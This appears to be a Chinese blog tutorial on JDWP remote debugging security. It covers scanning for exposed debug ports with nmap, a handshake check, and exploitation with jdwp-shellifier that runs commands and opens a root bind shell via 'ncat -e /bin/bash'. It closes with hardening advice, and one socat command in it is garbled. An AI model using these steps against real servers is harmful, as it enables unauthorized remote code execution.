jdwp远程调试与安全
什么是JDWP?
JDWP(Java Debug Wire Protocol)是一个为 Java 调试而设计的一个通讯交互协议,它定义了调试器和被调试程序之间传递的信息的格式。在 JPDA 体系中,作为前端(front-end)的调试者(debugger)进程和后端(back-end)的被调试程序(debuggee)进程之间的交互数据的格式就是由 JDWP 来描述的,它详细完整地定义了请求命令、回应数据和错误代码,保证了前端和后端的 JVMTI 和 JDI 的通信通畅。比如在 Sun 公司提供的实现中,它提供了一个名为 jdwp.dll(jdwp.so)的动态链接库文件,这个动态库文件实现了一个 Agent,它会负责解析前端发出的请求或者命令,并将其转化为 JVMTI 调用,然后将 JVMTI 函数的返回值封装成 JDWP 数据发还给后端。
1 | Components Debugger Interfaces |
JVM TI -Java VM Tool Interface
Defines the debugging services a VM provides.
JDWP - Java Debug Wire Protocol
Defines the communication between debuggee and debugger processes.
JDI - Java Debug Interface
Defines a high-level Java language interface which tool developers can easily use to write remote debugger applications.
发现开启了JDWP的端口
nmap
nmap
是端口扫描的利器,支持批量扫描网段内端口打开的情况。通过nmap
的扫描可以找到端口和对应的协议,这样就可以扫描到打开了远程debug的端口的机器。
1 | ➜ ~ sudo nmap -sV 221.221.221.221 |
从扫描的结果中可以看到10010
端口开启了远程调试。
端口明明开了,却没有扫描到?
nmap默认只扫描每个协议常见的1000个端口,如果你的端口不在里面,默认就不会扫描。
Nmap scans the most common 1,000 ports for each protocol. If your port is not in that list, it won’t be scanned.
端口使用的频率存储在nmap-services
文件中:
1 | ➜ jdwp-shellifier (master|✔) locate nmap-services |
可以直接查看这个文件, 也可以使用下面的命令查看对应的频率:
1 | ➜ jdwp-shellifier (master|✔) sudo nmap -v -oG - -sSU |
具体说明参见: FAQ missing port - SecWiki
解决方案:
nmap
中可以通过-p
指定扫描的端口范围:
1 | ➜ ~ sudo nmap -sV 221.221.221.221 -p 1-65535 |
上面是dev机器上开启的端口, Java Debug Wire Protocol (Reference Implementation)
就是开启了JDWP
的机器。
二次确认
telnet端口后,输入命令JDWP-Handshake
如果返回JDWP-Handshake,证明存在漏洞。
可以用下面的命令测试:
1 | ➜ jdwp-shellifier (master|✔) { echo "JDWP-Handshake"; sleep 20 } | telnet 221.221.221.221 10010 |
或者使用nc
1 | ➜ jdwp-shellifier (master|✔) { echo "JDWP-Handshake"; sleep 1 | trap exit INT} | nc 221.221.221.221 10010 |
漏洞利用实战
确定debug的端口
通过nmap
确定debug的端口:
1 | 18694/tcp open jdwp Java Debug Wire Protocol (Reference Implementation) |
nmap执行命令
这种方式没有实验成功,有兴趣的同学可以试一试
- Example Usage
1 | nmap -sT <target> -p <port> --script=+jdwp-exec --script-args cmd="date" |
- Script Output
1 | PORT STATE SERVICE REASON |
开源脚本
使用:
1 | ➜ jdwp-shellifier (master|✔) python jdwp-shellifier.py -t 221.221.221.221 -p 10010 --break-on "java.lang.String.indexOf" --cmd "touch /home/777" |
break-on "java.lang.String.indexOf"
表示在这个函数打断点,当这个函数执行的时候, 后面跟着的命令就会执行,这时我们登录上机器查看下执行的结果:
1 | [root@yd-dev-api server]# ls -alh /home |
可以看到777
这个文件已经创建了, 时间正好是我们执行命令的时间。
这只是初级玩法, 脚本的示例给的是启动一个ncat
的程序, 然后就可以远程连接上这个ncat开启的端口,相当于有一个root
权限的shell了。
安装ncat
1 | python jdwp-shellifier.py -t 221.221.221.221 -p 8399 --break-on "java.lang.String.indexOf" --cmd "sudo yum install -y nc" |
ncat
在服务器上开启一个端口, 转发输入交给bash
去执行。
开启转发服务:
1 | ➜ jdwp-shellifier (master|✔) python jdwp-shellifier.py -t 221.221.221.221 -p 8399 --break-on "java.lang.String.indexOf" --cmd "ncat -v -l -p 7777 -e /bin/bash" |
服务器上端口已经开启:
1 | [root@yd-dev-api server]# sudo lsof -i:7777 |
连接上去:
1 | ➜ jdwp-shellifier (master|✔) nc 221.221.221.221 7777 |
远程调试的建议
一、线上不能开启debug,对服务器性能有影响。
二、关闭对外远程debug的端口
1 | sudo lsof -i:<port> |
查找到对应的进程, 然后修改配置,重启tomcat
三、远程debug步骤:
tomcat 开启调试:
1
export CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=127.0.0.1:8399"
注意必须绑定到127.0.0.1
安装socat
1
sudo yum install -y socat
服务器安装socat进行转发:
1
socat TCP4-LISTEN:5005forkrange=0.0.0.0/32 TCP4:127.0.0.1:8399 | hostname -i
其中
0.0.0.0/32
表示放开ip限制(不是内网没有办法限制出口ip), 命令不要在后台执行,否则跟开启了对外的远程debug没有区别idea中新建Remote配置,host写上面输出的公网的ip, 端口写5005
结论
- 远程调试端口的地址一定要绑定到
127.0.0.1
- tomcat用单独的组的用户启动(这个组的权限要设置到较低)
参考
- 深入 Java 调试体系: 第 1 部分,JPDA 体系概览
- Java Platform Debugger Architecture
- Java(tm) Debug Wire Protocol
- Java Debugger Internals - Meetup
- Java Debug Remote Code Execution · 安全手册
- FAQ missing port - SecWiki
- IOActive/jdwp-shellifier
- Hacking the Java Debug Wire Protocol - or - “How I met your Java debugger” | IOActive
- jdwp-exec NSE Script
- jdwp-info NSE Script
- jdwp-inject NSE Script